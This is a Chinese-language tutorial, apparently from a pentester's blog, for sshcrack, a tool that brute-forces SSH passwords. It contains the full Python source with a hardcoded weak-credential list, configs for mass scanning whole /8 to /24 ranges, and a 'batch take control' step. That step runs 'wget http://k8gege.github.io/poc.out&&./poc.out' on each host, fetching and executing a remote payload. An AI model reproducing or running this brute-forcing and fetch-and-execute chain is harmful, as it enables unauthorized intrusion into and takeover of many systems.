0x000 前言
sshcrack是一个命令行下的SSH密码爆破工具,适用于内渗中SSH密码检测
当然也可用于外网SSH密码爆破,支持Windows/Linux,其它系统未测。Tip1
0x001 目录
1.sshcrack用法
2.Cscan批量扫描
3.连接SSH执行命令
4.sshcrack源码
5.SSH批量上控
6.工具下载
0x002 用法
指定SSH服务器密码检测
弱口令检测 (-crack 用户密码可随便写,因为帐密列表已写死) C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack 192.168.1.106 22 root toor LoginOK 单密码验证 (-test ) C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test 192.168.1.106 22 root toor LoginOK
0x003 批量SSH服务器密码检测
0.将Cscan.exe Cscan.ini sshcrack.exe放置同一目录
Cscan.ini内容如下
1.爆破弱口令(当前无密码或已获取多个帐密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 "" "" -crack
2.验证一个已知密码(快速检测内网其它机器是否使用同一帐密)
[Cscan] exe=sshcrack.exe arg=$ip$ 22 root k8gege -test
3.Cscan扫描单个C段/B段/A段机器
cscan 192.168.1.108 (单个IP) cscan 192.168.1.108/24 (C段) cscan 192.168.1.108/16 (B段) cscan 192.168.1.108/8 (A段)
4.Cscan批量IP/批量C段/批量B段扫描
新建 ip24.txt或ip16.tx或ip.txt 文件,然后输入Cscan即可(无需其它参数)
以下Cscan.ini不指定端口,因通过K8portscan识别出来非22端口
不指定端口意味着ip.txt里需要填写上对应SSH端口
0x004 连接SSH执行命令
1.sshshell交互式连接
sshshell.exe 192.168.1.106 22 root toor
sshshell.exe 单文件交互式SSH连接工具(优点类似putty可保持会话,缺点也类似putty保持连接)
2.sshcmd命令行非交互式
优点都是执行完命令立即注销会话(即目标机看不到网络连接),内网渗透专用
3.渗透专版SSH连接工具GUI版
优点都是执行完命令立即注销会话(即目标机看不到网络连接),渗透专用,内网可代理出来或外网SSH连接时用
当然也可用于日常VPS管理用,GUI版带文件管理,支持上传下载单个文件或整个目录
0x005 sshcrack源码
建议密码写死,方便配合Cscan批量扫描,要不然每扫一台,sshcrack就读取一下密码列表,可能会影响批量效率。
以下是例子,大家可自行修改,根据自身项目添加对应密码字典,脚本还需完善,如跑出root密码后停止检测root用户或者不再爆破。
#sshcrack 1.0 #author: k8gege #https://www.cnblogs.com/k8gege #https://github.com/k8gege import paramiko import sys import logging ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) logging.raiseExceptions=False def checkSSH(host,port,user,pwd): try: ssh.connect(host,port,user,pwd) print host+' '+port+' '+user+' '+pwd+' LoginOK' except: pass host=sys.argv[1] port=sys.argv[2] user=sys.argv[3] pwd=sys.argv[4] type=sys.argv[5] if type=='-test': checkSSH(host,port,user,pwd) elif type=='-crack': checkSSH(host,port,'root','123456') checkSSH(host,port,'root','cisco') checkSSH(host,port,'root','Cisco') checkSSH(host,port,'admin','123456') checkSSH(host,port,'cisco','123456') checkSSH(host,port,'cisco','cisco') checkSSH(host,port,'Cisco','Cisco') checkSSH(host,port,'cisco','cisco123') checkSSH(host,port,'admin','admin') checkSSH(host,port,'root','Admin') checkSSH(host,port,'root','toor') checkSSH(host,port,'root','Admin123') checkSSH(host,port,'root','system') checkSSH(host,port,'root','system123') checkSSH(host,port,'root','System') checkSSH(host,port,'root','System123') checkSSH(host,port,'root','Admin123!@#') checkSSH(host,port,'root','root123!@#') checkSSH(host,port,'root','root2019') checkSSH(host,port,'root','root2018') checkSSH(host,port,'root','root2017') checkSSH(host,port,'root','root2016') checkSSH(host,port,'root','root2015') checkSSH(host,port,'root','root2014') checkSSH(host,port,'root','root2013') checkSSH(host,port,'root','root2012') else: checkSSH(host,port,user,pwd)
0x006 Linux批量上控
通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控
详见: [教程]K8Cscan调用外部程序例子(Win/Linux批量上控)
ip.txt内容 格式: IP 端口 用户 帐密
192.168.1.8 22 root k8123456 192.168.1.100 444 root admin123 10.1.11.5 22 root p@walod 172.3.4.6 22 root test
Cscan.ini内容
[Cscan] exe=sshcmd.exe arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 工具下载
https://github.com/k8gege/sshshell
https://github.com/k8gege/K8tools
https://github.com/k8gege/K8CScan
Tip1: Python写的程序一定跨平台?
Python虽是跨平台语言,但不见得Python写的程序一定支持所有系统
支不支持主要是看写代码的人,比如有些依赖包仅Linux下或Win下可用
你直接调用人家的包,未做任何修改,你认为一定是跨平台吗???
就算是只用原生包写的功能,也不能保证完全兼容
有些功能针对于不同系统需做不同的处理
Tip2: SSH连接工具详细说明